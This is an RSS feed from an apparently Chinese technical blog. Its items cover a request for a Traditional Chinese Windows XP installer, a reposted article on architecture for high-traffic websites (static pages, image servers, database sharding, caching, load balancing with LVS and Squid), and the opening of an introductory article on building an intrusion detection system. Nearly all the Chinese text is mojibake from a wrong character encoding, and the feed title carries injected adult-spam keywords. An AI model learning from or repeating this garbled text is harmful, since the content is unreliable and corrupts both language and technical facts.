锘??xml version="1.0" encoding="utf-8" standalone="yes"?>免费在线视频一区,欧美交受高潮1,欧美一区二区视频在线http://m.shnenglu.com/twzheng/category/3937.html銆庣珯鍦ㄩ鍙f氮灝栫揣鎻′綇榧犳爣鏃嬭漿錛併? 浜哄湪鍙板寳蹇冨湪姹?/description>zh-cnMon, 15 Mar 2010 04:03:35 GMTMon, 15 Mar 2010 04:03:35 GMT60姹倃indows xp 綣佷綋鐗?/title><link>http://m.shnenglu.com/twzheng/articles/109710.html</link><dc:creator>璋枃鏀?/dc:creator><author>璋枃鏀?/author><pubDate>Sun, 14 Mar 2010 16:05:00 GMT</pubDate><guid>http://m.shnenglu.com/twzheng/articles/109710.html</guid><wfw:comment>http://m.shnenglu.com/twzheng/comments/109710.html</wfw:comment><comments>http://m.shnenglu.com/twzheng/articles/109710.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://m.shnenglu.com/twzheng/comments/commentRss/109710.html</wfw:commentRss><trackback:ping>http://m.shnenglu.com/twzheng/services/trackbacks/109710.html</trackback:ping><description><![CDATA[姹倃indows xp 綣佷綋鐗堬紝鏈濂芥槸鍙版咕鐗堢殑錛岃鑳戒竴姝ユ鐨勬墜鍔ㄥ畨瑁?鎯寵鍙岀郴緇?<br><br>鎵句簡濂藉嚑澶╀簡錛屽緢澶氳祫婧愰兘涓嬩笉鍔?br><br>浠婂ぉ濂戒笉瀹規(guī)槗涓嬩簡涓涓紝浣嗘槸棣欐腐鐗堢殑錛屼笖瀹夎鍒伴夋嫨鐩樼鏃訛紝閿洏鎵鏈夐敭閮戒笉鑳戒嬌鐢紝鎵浠ヨ繕鏄棤娉曞畨瑁?br><br>璋㈣阿鍚勪綅澶у摜澶у甯府蹇欙紝灝忓紵鎰熸縺涓嶅敖錛?img src ="http://m.shnenglu.com/twzheng/aggbug/109710.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://m.shnenglu.com/twzheng/" target="_blank">璋枃鏀?/a> 2010-03-15 00:05 <a href="http://m.shnenglu.com/twzheng/articles/109710.html#Feedback" target="_blank" style="text-decoration:none;">鍙戣〃璇勮</a></div>]]></description></item><item><title>璇磋澶у瀷楂樺茍鍙戦珮璐熻澆緗戠珯鐨勭郴緇熸灦鏋?/title><link>http://m.shnenglu.com/twzheng/articles/39950.html</link><dc:creator>璋枃鏀?/dc:creator><author>璋枃鏀?/author><pubDate>Sat, 29 Dec 2007 11:58:00 GMT</pubDate><guid>http://m.shnenglu.com/twzheng/articles/39950.html</guid><wfw:comment>http://m.shnenglu.com/twzheng/comments/39950.html</wfw:comment><comments>http://m.shnenglu.com/twzheng/articles/39950.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://m.shnenglu.com/twzheng/comments/commentRss/39950.html</wfw:commentRss><trackback:ping>http://m.shnenglu.com/twzheng/services/trackbacks/39950.html</trackback:ping><description><![CDATA[<p align=center><strong><span>璇磋澶у瀷楂樺茍鍙戦珮璐熻澆緗戠珯鐨勭郴緇熸灦鏋?/span></strong><strong></strong></p> <p align=center>鎽樿嚜 CSDN<span></span></p> <div> <p><span>鎴戝湪</span><span>Cernet</span><span>鍋氳繃鎷ㄥ彿鎺ュ叆騫沖彴鐨勬惌寤猴紝鑰屽悗鍦?/span><span>Yahoo3721</span><span>璐熻澆鎼滅儲寮曟搸鍓嶇騫沖彴寮鍙戯紝鍙堝湪鐚墤澶勭悊榪囧ぇ鍨嬬ぞ鍖虹尗鎵戝ぇ鏉傜儵鐨勬灦鏋勫崌綰х瓑宸ヤ綔錛屽悓鏃惰嚜宸辨帴瑙﹀拰寮鍙戣繃涓嶅皯澶т腑鍨嬬綉绔欑殑妯″潡錛屽洜姝ゅ湪澶у瀷緗戠珯搴斿楂樿礋杞藉拰騫跺彂鐨勮В鍐蟲柟妗堜笂鏈変竴浜涚Н绱拰緇忛獙錛屽彲浠ュ拰澶у涓璧鋒帰璁ㄤ竴涓嬨?/span></p> </div> <div> <p><span><SCRIPT type=text/javascript> show_ads_zone(13); </SCRIPT></span><span>鎴戝湪</span><span>Cernet</span><span>鍋氳繃鎷ㄥ彿鎺ュ叆騫沖彴鐨勬惌寤猴紝鑰屽悗鍦?/span><span>Yahoo3721</span><span>璐熻澆鎼滅儲寮曟搸鍓嶇騫沖彴寮鍙戯紝鍙堝湪鐚墤澶勭悊榪囧ぇ鍨嬬ぞ鍖虹尗鎵戝ぇ鏉傜儵鐨勬灦鏋勫崌綰х瓑宸ヤ綔錛屽悓鏃惰嚜宸辨帴瑙﹀拰寮鍙戣繃涓嶅皯澶т腑鍨嬬綉绔欑殑妯″潡錛屽洜姝ゅ湪澶у瀷緗戠珯搴斿楂樿礋杞藉拰騫跺彂鐨勮В鍐蟲柟妗堜笂鏈変竴浜涚Н绱拰緇忛獙錛屽彲浠ュ拰澶у涓璧鋒帰璁ㄤ竴涓嬨?/span></p> <p><span><br></span><span>涓涓皬鍨嬬殑緗戠珯錛屾瘮濡備釜浜虹綉绔欙紝鍙互浣跨敤鏈綆鍗曠殑</span><span>html</span><span>闈欐侀〉闈㈠氨瀹炵幇浜嗭紝閰嶅悎涓浜涘浘鐗囪揪鍒扮編鍖栨晥鏋滐紝鎵鏈夌殑欏甸潰鍧囧瓨鏀懼湪涓涓洰褰曚笅錛岃繖鏍風殑緗戠珯瀵圭郴緇熸灦鏋勩佹ц兘鐨勮姹傞兘寰堢畝鍗曪紝闅忕潃浜掕仈緗戜笟鍔$殑涓嶆柇涓板瘜錛岀綉绔欑浉鍏崇殑鎶鏈粡榪囪繖浜涘勾鐨勫彂灞曪紝宸茬粡緇嗗垎鍒板緢緇嗙殑鏂規(guī)柟闈㈤潰錛屽挨鍏跺浜庡ぇ鍨嬬綉绔欐潵璇達紝鎵閲囩敤鐨勬妧鏈洿鏄秹鍙婇潰闈炲父騫匡紝浠庣‖浠跺埌杞歡銆佺紪紼嬭璦銆佹暟鎹簱銆?/span><span>WebServer</span><span>銆侀槻鐏絳夊悇涓鍩熼兘鏈変簡寰堥珮鐨勮姹傦紝宸茬粡涓嶆槸鍘熸潵綆鍗曠殑</span><span>html</span><span>闈欐佺綉绔欐墍鑳芥瘮鎷熺殑銆?/span></p> <p><span>澶у瀷緗戠珯錛屾瘮濡傞棬鎴風綉绔欍傚湪闈㈠澶ч噺鐢ㄦ埛璁塊棶銆侀珮騫跺彂璇鋒眰鏂歸潰錛屽熀鏈殑瑙e喅鏂規(guī)闆嗕腑鍦ㄨ繖鏍峰嚑涓幆鑺傦細浣跨敤楂樻ц兘鐨勬湇鍔″櫒銆侀珮鎬ц兘鐨勬暟鎹簱銆侀珮鏁堢巼鐨勭紪紼嬭璦銆佽繕鏈夐珮鎬ц兘鐨?/span><span>Web</span><span>瀹瑰櫒銆備絾鏄櫎浜嗚繖鍑犱釜鏂歸潰錛岃繕娌℃硶鏍規(guī)湰瑙e喅澶у瀷緗戠珯闈復鐨勯珮璐熻澆鍜岄珮騫跺彂闂銆?/span></p> <p><span>涓婇潰鎻愪緵鐨勫嚑涓В鍐蟲濊礬鍦ㄤ竴瀹氱▼搴︿笂涔熸剰鍛崇潃鏇村ぇ鐨勬姇鍏ワ紝騫朵笖榪欐牱鐨勮В鍐蟲濊礬鍏峰鐡墮錛屾病鏈夊緢濂界殑鎵╁睍鎬э紝涓嬮潰鎴戜粠浣庢垚鏈侀珮鎬ц兘鍜岄珮鎵╁紶鎬х殑瑙掑害鏉ヨ璇存垜鐨勪竴浜涚粡楠屻?/span></p> <p><span>1</span><span>銆?/span><span>HTML</span><span>闈欐佸寲</span><span><br></span><span>鍏跺疄澶у閮界煡閬擄紝鏁堢巼鏈楂樸佹秷鑰楁渶灝忕殑灝辨槸綰潤鎬佸寲鐨?/span><span>html</span><span>欏甸潰錛屾墍浠ユ垜浠敖鍙兘浣挎垜浠殑緗戠珯涓婄殑欏甸潰閲囩敤闈欐侀〉闈㈡潵瀹炵幇錛岃繖涓渶綆鍗曠殑鏂規(guī)硶鍏跺疄涔熸槸鏈鏈夋晥鐨勬柟娉曘備絾鏄浜庡ぇ閲忓唴瀹瑰茍涓旈綣佹洿鏂扮殑緗戠珯錛屾垜浠棤娉曞叏閮ㄦ墜鍔ㄥ幓鎸ㄤ釜瀹炵幇錛屼簬鏄嚭鐜頒簡鎴戜滑甯歌鐨勪俊鎭彂甯冪郴緇?/span><span>CMS</span><span>錛屽儚鎴戜滑甯歌闂殑鍚勪釜闂ㄦ埛绔欑偣鐨勬柊闂婚閬擄紝鐢氳嚦浠栦滑鐨勫叾浠栭閬擄紝閮芥槸閫氳繃淇℃伅鍙戝竷緋葷粺鏉ョ鐞嗗拰瀹炵幇鐨勶紝淇℃伅鍙戝竷緋葷粺鍙互瀹炵幇鏈綆鍗曠殑淇℃伅褰曞叆鑷姩鐢熸垚闈欐侀〉闈紝榪樿兘鍏峰棰戦亾綆$悊銆佹潈闄愮鐞嗐佽嚜鍔ㄦ姄鍙栫瓑鍔熻兘錛屽浜庝竴涓ぇ鍨嬬綉绔欐潵璇達紝鎷ユ湁涓濂楅珮鏁堛佸彲綆$悊鐨?/span><span>CMS</span><span>鏄繀涓嶅彲灝戠殑銆?/span></p> <p><span>闄や簡闂ㄦ埛鍜屼俊鎭彂甯冪被鍨嬬殑緗戠珯錛屽浜庝氦浜掓ц姹傚緢楂樼殑紺懼尯綾誨瀷緗戠珯鏉ヨ錛屽敖鍙兘鐨勯潤鎬佸寲涔熸槸鎻愰珮鎬ц兘鐨勫繀瑕佹墜孌碉紝灝嗙ぞ鍖哄唴鐨勫笘瀛愩佹枃绔犺繘琛屽疄鏃剁殑闈欐佸寲錛屾湁鏇存柊鐨勬椂鍊欏啀閲嶆柊闈欐佸寲涔熸槸澶ч噺浣跨敤鐨勭瓥鐣ワ紝鍍?/span><span>Mop</span><span>鐨勫ぇ鏉傜儵灝辨槸浣跨敤浜嗚繖鏍風殑絳栫暐錛岀綉鏄撶ぞ鍖虹瓑涔熸槸濡傛銆?/span></p> <p><span>鍚屾椂錛?/span><span>html</span><span>闈欐佸寲涔熸槸鏌愪簺緙撳瓨絳栫暐浣跨敤鐨勬墜孌碉紝瀵逛簬緋葷粺涓綣佷嬌鐢ㄦ暟鎹簱鏌ヨ浣嗘槸鍐呭鏇存柊寰堝皬鐨勫簲鐢紝鍙互鑰冭檻浣跨敤</span><span>html</span><span>闈欐佸寲鏉ュ疄鐜幫紝姣斿璁哄潧涓鍧涚殑鍏敤璁劇疆淇℃伅錛岃繖浜涗俊鎭洰鍓嶇殑涓繪祦璁哄潧閮藉彲浠ヨ繘琛屽悗鍙扮鐞嗗茍涓斿瓨鍌ㄥ啀鏁版嵁搴撲腑錛岃繖浜涗俊鎭叾瀹炲ぇ閲忚鍓嶅彴紼嬪簭璋冪敤錛屼絾鏄洿鏂伴鐜囧緢灝忥紝鍙互鑰冭檻灝嗚繖閮ㄥ垎鍐呭榪涜鍚庡彴鏇存柊鐨勬椂鍊欒繘琛岄潤鎬佸寲錛岃繖鏍烽伩鍏嶄簡澶ч噺鐨勬暟鎹簱璁塊棶璇鋒眰銆?/span></p> <p><span>2</span><span>銆佸浘鐗囨湇鍔″櫒鍒嗙</span><span><br></span><span>澶у鐭ラ亾錛屽浜?/span><span>Web</span><span>鏈嶅姟鍣ㄦ潵璇達紝涓嶇鏄?/span><span>Apache</span><span>銆?/span><span>IIS</span><span>榪樻槸鍏朵粬瀹瑰櫒錛屽浘鐗囨槸鏈娑堣楄祫婧愮殑錛屼簬鏄垜浠湁蹇呰灝嗗浘鐗囦笌欏甸潰榪涜鍒嗙錛岃繖鏄熀鏈笂澶у瀷緗戠珯閮戒細閲囩敤鐨勭瓥鐣ワ紝浠栦滑閮芥湁鐙珛鐨勫浘鐗囨湇鍔″櫒錛岀敋鑷沖緢澶氬彴鍥劇墖鏈嶅姟鍣ㄣ傝繖鏍風殑鏋舵瀯鍙互闄嶄綆鎻愪緵欏甸潰璁塊棶璇鋒眰鐨勬湇鍔″櫒緋葷粺鍘嬪姏錛屽茍涓斿彲浠ヤ繚璇佺郴緇熶笉浼氬洜涓哄浘鐗囬棶棰樿屽穿婧冿紝鍦ㄥ簲鐢ㄦ湇鍔″櫒鍜屽浘鐗囨湇鍔″櫒涓婏紝鍙互榪涜涓嶅悓鐨勯厤緗紭鍖栵紝姣斿</span><span>apache</span><span>鍦ㄩ厤緗?/span><span>ContentType</span><span>鐨勬椂鍊欏彲浠ュ敖閲忓皯鏀寔錛屽敖鍙兘灝戠殑</span><span>LoadModule</span><span>錛屼繚璇佹洿楂樼殑緋葷粺娑堣楀拰鎵ц鏁堢巼銆?/span></p> <p><span>3</span><span>銆佹暟鎹簱闆嗙兢鍜屽簱琛ㄦ暎鍒?/span><span><br></span><span>澶у瀷緗戠珯閮芥湁澶嶆潅鐨勫簲鐢紝榪欎簺搴旂敤蹇呴』浣跨敤鏁版嵁搴擄紝閭d箞鍦ㄩ潰瀵瑰ぇ閲忚闂殑鏃跺欙紝鏁版嵁搴撶殑鐡墮寰堝揩灝辮兘鏄劇幇鍑烘潵錛岃繖鏃朵竴鍙版暟鎹簱灝嗗緢蹇棤娉曟弧瓚沖簲鐢紝浜庢槸鎴戜滑闇瑕佷嬌鐢ㄦ暟鎹簱闆嗙兢鎴栬呭簱琛ㄦ暎鍒椼?/span></p> <p><span>鍦ㄦ暟鎹簱闆嗙兢鏂歸潰錛屽緢澶氭暟鎹簱閮芥湁鑷繁鐨勮В鍐蟲柟妗堬紝</span><span>Oracle</span><span>銆?/span><span>Sybase</span><span>絳夐兘鏈夊緢濂界殑鏂規(guī)錛屽父鐢ㄧ殑</span><span>MySQL</span><span>鎻愪緵鐨?/span><span>Master/Slave</span><span>涔熸槸綾諱技鐨勬柟妗堬紝鎮(zhèn)ㄤ嬌鐢ㄤ簡浠涔堟牱鐨?/span><span>DB</span><span>錛屽氨鍙傝冪浉搴旂殑瑙e喅鏂規(guī)鏉ュ疄鏂藉嵆鍙?/span></p> <p><span>涓婇潰鎻愬埌鐨勬暟鎹簱闆嗙兢鐢變簬鍦ㄦ灦鏋勩佹垚鏈佹墿寮犳ф柟闈㈤兘浼氬彈鍒版墍閲囩敤</span><span>DB</span><span>綾誨瀷鐨勯檺鍒訛紝浜庢槸鎴戜滑闇瑕佷粠搴旂敤紼嬪簭鐨勮搴︽潵鑰冭檻鏀瑰杽緋葷粺鏋舵瀯錛屽簱琛ㄦ暎鍒楁槸甯哥敤騫朵笖鏈鏈夋晥鐨勮В鍐蟲柟妗堛傛垜浠湪搴旂敤紼嬪簭涓畨瑁呬笟鍔″拰搴旂敤鎴栬呭姛鑳芥ā鍧楀皢鏁版嵁搴撹繘琛屽垎紱伙紝涓嶅悓鐨勬ā鍧楀搴斾笉鍚岀殑鏁版嵁搴撴垨鑰呰〃錛屽啀鎸夌収涓瀹氱殑絳栫暐瀵規(guī)煇涓〉闈㈡垨鑰呭姛鑳借繘琛屾洿灝忕殑鏁版嵁搴撴暎鍒楋紝姣斿鐢ㄦ埛琛紝鎸夌収鐢ㄦ埛</span><span>ID</span><span>榪涜琛ㄦ暎鍒楋紝榪欐牱灝辮兘澶熶綆鎴愭湰鐨勬彁鍗囩郴緇熺殑鎬ц兘騫朵笖鏈夊緢濂界殑鎵╁睍鎬с?/span><span>sohu</span><span>鐨勮鍧涘氨鏄噰鐢ㄤ簡榪欐牱鐨勬灦鏋勶紝灝嗚鍧涚殑鐢ㄦ埛銆佽緗佸笘瀛愮瓑淇℃伅榪涜鏁版嵁搴撳垎紱伙紝鐒跺悗瀵瑰笘瀛愩佺敤鎴鋒寜鐓ф澘鍧楀拰</span><span>ID</span><span>榪涜鏁e垪鏁版嵁搴撳拰琛紝鏈緇堝彲浠ュ湪閰嶇疆鏂囦歡涓繘琛岀畝鍗曠殑閰嶇疆渚胯兘璁╃郴緇熼殢鏃跺鍔犱竴鍙頒綆鎴愭湰鐨勬暟鎹簱榪涙潵琛ュ厖緋葷粺鎬ц兘銆?/span></p> <p><span>4</span><span>銆佺紦瀛?/span><span><br></span><span>緙撳瓨涓璇嶆悶鎶鏈殑閮芥帴瑙﹁繃錛屽緢澶氬湴鏂圭敤鍒扮紦瀛樸傜綉绔欐灦鏋勫拰緗戠珯寮鍙戜腑鐨勭紦瀛樹篃鏄潪甯擱噸瑕併傝繖閲屽厛璁茶堪鏈鍩烘湰鐨勪袱縐嶇紦瀛樸傞珮綰у拰鍒嗗竷寮忕殑緙撳瓨鍦ㄥ悗闈㈣榪般?/span><span><br></span><span>鏋舵瀯鏂歸潰鐨勭紦瀛橈紝瀵?/span><span>Apache</span><span>姣旇緝鐔熸?zhèn)夌殑錆h閮借兘鐭ラ亾</span><span>Apache</span><span>鎻愪緵浜嗚嚜宸辯殑緙撳瓨妯″潡錛屼篃鍙互浣跨敤澶栧姞鐨?/span><span>Squid</span><span>妯″潡榪涜緙撳瓨錛岃繖涓ょ鏂瑰紡鍧囧彲浠ユ湁鏁堢殑鎻愰珮</span><span>Apache</span><span>鐨勮闂搷搴旇兘鍔涖?/span><span><br></span><span>緗戠珯紼嬪簭寮鍙戞柟闈㈢殑緙撳瓨錛?/span><span>Linux</span><span>涓婃彁渚涚殑</span><span>Memory Cache</span><span>鏄父鐢ㄧ殑緙撳瓨鎺ュ彛錛屽彲浠ュ湪</span><span>web</span><span>寮鍙戜腑浣跨敤錛屾瘮濡傜敤</span><span>Java</span><span>寮鍙戠殑鏃跺欏氨鍙互璋冪敤</span><span>MemoryCache</span><span>瀵逛竴浜涙暟鎹繘琛岀紦瀛樺拰閫氳鍏變韓錛屼竴浜涘ぇ鍨嬬ぞ鍖轟嬌鐢ㄤ簡榪欐牱鐨勬灦鏋勩傚彟澶栵紝鍦ㄤ嬌鐢?/span><span>web</span><span>璇█寮鍙戠殑鏃跺欙紝鍚勭璇█鍩烘湰閮芥湁鑷繁鐨勭紦瀛樻ā鍧楀拰鏂規(guī)硶錛?/span><span>PHP</span><span>鏈?/span><span>Pear</span><span>鐨?/span><span>Cache</span><span>妯″潡錛?/span><span>Java</span><span>灝辨洿澶氫簡錛?/span><span>.net</span><span>涓嶆槸寰堢啛鎮(zhèn)夛紝鐩鎬俊涔熻偗瀹氭湁銆?/span></p> <p><span>5</span><span>銆侀暅鍍?/span><span><br></span><span>闀滃儚鏄ぇ鍨嬬綉绔欏父閲囩敤鐨勬彁楂樻ц兘鍜屾暟鎹畨鍏ㄦх殑鏂瑰紡錛岄暅鍍忕殑鎶鏈彲浠ヨВ鍐充笉鍚岀綉緇滄帴鍏ュ晢鍜屽湴鍩熷甫鏉ョ殑鐢ㄦ埛璁塊棶閫熷害宸紓錛屾瘮濡?/span><span>ChinaNet</span><span>鍜?/span><span>EduNet</span><span>涔嬮棿鐨勫樊寮傚氨淇冧嬌浜嗗緢澶氱綉绔欏湪鏁欒偛緗戝唴鎼緩闀滃儚绔欑偣錛屾暟鎹繘琛屽畾鏃舵洿鏂版垨鑰呭疄鏃舵洿鏂般傚湪闀滃儚鐨勭粏鑺傛妧鏈柟闈紝榪欓噷涓嶉槓榪板お娣憋紝鏈夊緢澶氫笓涓氱殑鐜版垚鐨勮В鍐蟲灦鏋勫拰浜у搧鍙夈備篃鏈夊粔浠風殑閫氳繃杞歡瀹炵幇鐨勬濊礬錛屾瘮濡?/span><span>Linux</span><span>涓婄殑</span><span>rsync</span><span>絳夊伐鍏楓?/span></p> <p><span>6</span><span>銆佽礋杞藉潎琛?/span><span><br></span><span>璐熻澆鍧囪 灝嗘槸澶у瀷緗戠珯瑙e喅楂樿礋鑽瘋闂拰澶ч噺騫跺彂璇鋒眰閲囩敤鐨勭粓鏋佽В鍐沖姙娉曘?/span><span><br></span><span>璐熻澆鍧囪 鎶鏈彂灞曚簡澶氬勾錛屾湁寰堝涓撲笟鐨勬湇鍔℃彁渚涘晢鍜屼駭鍝佸彲浠ラ夋嫨錛屾垜涓漢鎺ヨЕ榪囦竴浜涜В鍐蟲柟娉曪紝鍏朵腑鏈変袱涓灦鏋勫彲浠ョ粰澶у鍋氬弬鑰冦?/span><span><br></span><span>紜歡鍥涘眰浜ゆ崲</span><span><br></span><span>絎洓灞備氦鎹嬌鐢ㄧ涓夊眰鍜岀鍥涘眰淇℃伅鍖呯殑鎶ュご淇℃伅錛屾牴鎹簲鐢ㄥ尯闂磋瘑鍒笟鍔℃祦錛屽皢鏁翠釜鍖洪棿孌電殑涓氬姟嫻佸垎閰嶅埌鍚堥傜殑搴旂敤鏈嶅姟鍣ㄨ繘琛屽鐞嗐傘絎洓灞備氦鎹㈠姛鑳藉氨璞℃槸铏?/span><span>IP</span><span>錛屾寚鍚戠墿鐞嗘湇鍔″櫒銆傚畠浼犺緭鐨勪笟鍔℃湇浠庣殑鍗忚澶氱澶氭牱錛屾湁</span><span>HTTP</span><span>銆?/span><span>FTP</span><span>銆?/span><span>NFS</span><span>銆?/span><span>Telnet</span><span>鎴栧叾浠栧崗璁傝繖浜涗笟鍔″湪鐗╃悊鏈嶅姟鍣ㄥ熀紜涓婏紝闇瑕佸鏉傜殑杞介噺騫寵 綆楁硶銆傚湪</span><span>IP</span><span>涓栫晫錛屼笟鍔$被鍨嬬敱緇堢</span><span>TCP</span><span>鎴?/span><span>UDP</span><span>绔彛鍦板潃鏉ュ喅瀹氾紝鍦ㄧ鍥涘眰浜ゆ崲涓殑搴旂敤鍖洪棿鍒欑敱婧愮鍜岀粓绔?/span><span>IP</span><span>鍦板潃銆?/span><span>TCP</span><span>鍜?/span><span>UDP</span><span>绔彛鍏卞悓鍐沖畾銆?/span><span><br></span><span>鍦ㄧ‖浠跺洓灞備氦鎹駭鍝侀鍩燂紝鏈変竴浜涚煡鍚嶇殑浜у搧鍙互閫夋嫨錛屾瘮濡?/span><span>Alteon</span><span>銆?/span><span>F5</span><span>絳夛紝榪欎簺浜у搧寰堟槀璐碉紝浣嗘槸鐗╂湁鎵鍊鹼紝鑳藉鎻愪緵闈炲父浼樼鐨勬ц兘鍜屽緢鐏墊椿鐨勭鐞嗚兘鍔涖?/span><span>Yahoo</span><span>涓浗褰撳垵鎺ヨ繎</span><span>2000</span><span>鍙版湇鍔″櫒浣跨敤浜嗕笁鍥涘彴</span><span>Alteon</span><span>灝辨悶瀹氫簡銆?/span></p> <p><span>杞歡鍥涘眰浜ゆ崲</span><span><br></span><span>澶у鐭ラ亾浜嗙‖浠跺洓灞備氦鎹㈡満鐨勫師鐞嗗悗錛屽熀浜?/span><span>OSI</span><span>妯″瀷鏉ュ疄鐜扮殑杞歡鍥涘眰浜ゆ崲涔熷氨搴旇繍鑰岀敓錛岃繖鏍風殑瑙e喅鏂規(guī)瀹炵幇鐨勫師鐞嗕竴鑷達紝涓嶈繃鎬ц兘紼嶅樊銆備絾鏄弧瓚充竴瀹氶噺鐨勫帇鍔涜繕鏄父鍒冩湁浣欑殑錛屾湁浜鴻杞歡瀹炵幇鏂瑰紡鍏跺疄鏇寸伒媧伙紝澶勭悊鑳藉姏瀹屽叏鐪嬩綘閰嶇疆鐨勭啛鎮(zhèn)夎兘鍔涖?/span><span><br></span><span>杞歡鍥涘眰浜ゆ崲鎴戜滑鍙互浣跨敤</span><span>Linux</span><span>涓婂父鐢ㄧ殑</span><span>LVS</span><span>鏉ヨВ鍐籌紝</span><span>LVS</span><span>灝辨槸</span><span>Linux Virtual Server</span><span>錛屼粬鎻愪緵浜嗗熀浜庡績璺崇嚎</span><span>heartbeat</span><span>鐨勫疄鏃剁伨闅懼簲瀵硅В鍐蟲柟妗堬紝鎻愰珮緋葷粺鐨勯瞾媯掓э紝鍚屾椂鍙緵浜嗙伒媧葷殑铏氭嫙</span><span>VIP</span><span>閰嶇疆鍜岀鐞嗗姛鑳斤紝鍙互鍚屾椂婊¤凍澶氱搴旂敤闇姹傦紝榪欏浜庡垎甯冨紡鐨勭郴緇熸潵璇村繀涓嶅彲灝戙?/span></p> <p><span>涓涓吀鍨嬬殑浣跨敤璐熻澆鍧囪 鐨勭瓥鐣ュ氨鏄紝鍦ㄨ蔣浠舵垨鑰呯‖浠跺洓灞備氦鎹㈢殑鍩虹涓婃惌寤?/span><span>squid</span><span>闆嗙兢錛岃繖縐嶆濊礬鍦ㄥ緢澶氬ぇ鍨嬬綉绔欏寘鎷悳绱㈠紩鎿庝笂琚噰鐢紝榪欐牱鐨勬灦鏋勪綆鎴愭湰銆侀珮鎬ц兘榪樻湁寰堝己鐨勬墿寮犳э紝闅忔椂寰鏋舵瀯閲岄潰澧炲噺鑺傜偣閮介潪甯稿鏄撱傝繖鏍風殑鏋舵瀯鎴戝噯澶囩┖浜嗕笓闂ㄨ緇嗘暣鐞嗕竴涓嬪拰澶у鎺㈣銆?/span></p> <p><span>瀵逛簬澶у瀷緗戠珯鏉ヨ錛屽墠闈㈡彁鍒扮殑姣忎釜鏂規(guī)硶鍙兘閮戒細琚悓鏃朵嬌鐢ㄥ埌錛屾垜榪欓噷浠嬬粛寰楁瘮杈冩祬鏄撅紝鍏蜂綋瀹炵幇榪囩▼涓緢澶氱粏鑺傝繕闇瑕佸ぇ瀹舵參鎱㈢啛鎮(zhèn)夊拰浣撲細錛屾湁鏃朵竴涓緢灝忕殑</span><span>squid</span><span>鍙傛暟鎴栬?/span><span>apache</span><span>鍙傛暟璁劇疆錛屽浜庣郴緇熸ц兘鐨勫獎鍝嶅氨浼氬緢澶э紝甯屾湜澶у涓璧瘋璁猴紝杈懼埌鎶涚爾寮曠帀涔嬫晥銆?/span></p> <p><span>鍘熸枃閾炬帴錛?/span><span><a >http://sunjiuchen.spaces.live.com/Blog/cns!4FF388881B3FE073!113.entry</a></span></p> </div> <img src ="http://m.shnenglu.com/twzheng/aggbug/39950.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://m.shnenglu.com/twzheng/" target="_blank">璋枃鏀?/a> 2007-12-29 19:58 <a href="http://m.shnenglu.com/twzheng/articles/39950.html#Feedback" target="_blank" style="text-decoration:none;">鍙戣〃璇勮</a></div>]]></description></item><item><title>璇﹁堪Windows 2003 SP2鍏ラ棬IDS鏋勫緩榪囩▼http://m.shnenglu.com/twzheng/articles/35898.html璋枃鏀?/dc:creator>璋枃鏀?/author>Mon, 05 Nov 2007 10:16:00 GMThttp://m.shnenglu.com/twzheng/articles/35898.htmlhttp://m.shnenglu.com/twzheng/comments/35898.htmlhttp://m.shnenglu.com/twzheng/articles/35898.html#Feedback0http://m.shnenglu.com/twzheng/comments/commentRss/35898.htmlhttp://m.shnenglu.com/twzheng/services/trackbacks/35898.html 璇﹁堪Windows 2003 SP2鍏ラ棬IDS鏋勫緩榪囩▼

銆銆IDS鐨勬妧鏈墜孌靛叾瀹炲茍涓嶅緢紲炵錛屾帴涓嬫潵鏈枃浼氱敤涓縐?#8220;欏鴻棨鎽哥摐”鐨勮剦緇滐紝緇欏ぇ瀹朵粙緇嶄竴涓緝綆鍗曠殑IDS鍏ラ棬綰ф瀯鏋躲備粠甯傚満鍒嗗竷銆佸叆鎵嬮毦鏄撶殑瑙掑害鏉ョ湅錛岄夋嫨NIDS浣滀負鑼冧緥榪涜閮ㄧ講錛屾瘮杈冨湴鎭板綋銆傛湰鏂囦互瀹屽叏鐨刉indows騫沖彴鏉ヨ瘡絀挎暣涓叆渚?nobr>媯嫻?/nobr>嫻佺▼錛岀敱浜庣瘒騫呮墍闄愶紝浠ュ畾鎬?nobr>鍒嗘瀽瑙掑害鏉ラ檲榪般?

銆銆棰勫鐭ヨ瘑

銆銆IDS錛欼ntrusion Detection System錛堝叆渚墊嫻?nobr>緋葷粺錛夛紝閫氳繃鏀墮泦緗戠粶緋葷粺淇℃伅鏉ヨ繘琛屽叆渚墊嫻嬪垎鏋愮殑杞歡涓庣‖浠剁殑鏅鴻兘緇勫悎銆?

銆銆瀵笽DS榪涜鏍囧噯鍖栧伐浣滅殑涓や釜緇勭粐錛氫綔涓哄浗闄呬簰鑱旂綉鏍囧噯鐨勫埗瀹氳匢ETF鐨処ntrusion Detection working Group錛圛DWG錛屽叆渚墊嫻嬪伐浣滅粍錛夊拰Common Intrusion Detection Framework錛圕IDF錛岄氱敤鍏ヤ鏡媯嫻嬫鏋訛級銆?

銆銆IDS鍒嗙被錛歂etwork IDS錛堝熀浜庣綉緇滐級銆丠ost-based IDS錛堝熀浜庝富鏈猴級銆丠ybrid IDS錛堟販鍚堝紡錛夈丆onsoles IDS錛堟帶鍒跺彴錛夈丗ile Integrity Checkers錛堟枃浠跺畬鏁存ф鏌ュ櫒錛夈丠oneypots錛堣湝緗愶級銆備簨浠朵駭鐢熺郴緇?

銆銆鏍規(guī)嵁CIDF闃愯堪鍏ヤ鏡媯嫻嬬郴緇燂紙IDS錛夌殑閫氱敤妯″瀷鎬濇兂錛屽叿澶囨墍鏈夎绱犮佹渶綆鍗曠殑鍏ヤ鏡媯嫻嬬粍浠跺鍥炬墍紺恒傛牴鎹瓹IDF瑙勮寖錛屽皢IDS闇瑕佸垎鏋愮殑鏁版嵁緇熺О涓篍vent錛堜簨浠訛級錛孍vent鏃㈠彲鑳芥槸緗戠粶涓殑Data Packets錛堟暟鎹寘錛夛紝涔熷彲鑳芥槸浠嶴ystem Log絳夊叾浠栨柟寮忓緱鍒扮殑Information錛堜俊鎭級銆?

銆銆娌℃湁鏁版嵁嫻佽繘錛堟垨鏁版嵁琚噰闆嗭級錛孖DS灝辨槸鏃犳牴涔嬫湪錛屽畬鍏ㄦ棤鐢ㄦ涔嬪湴銆?

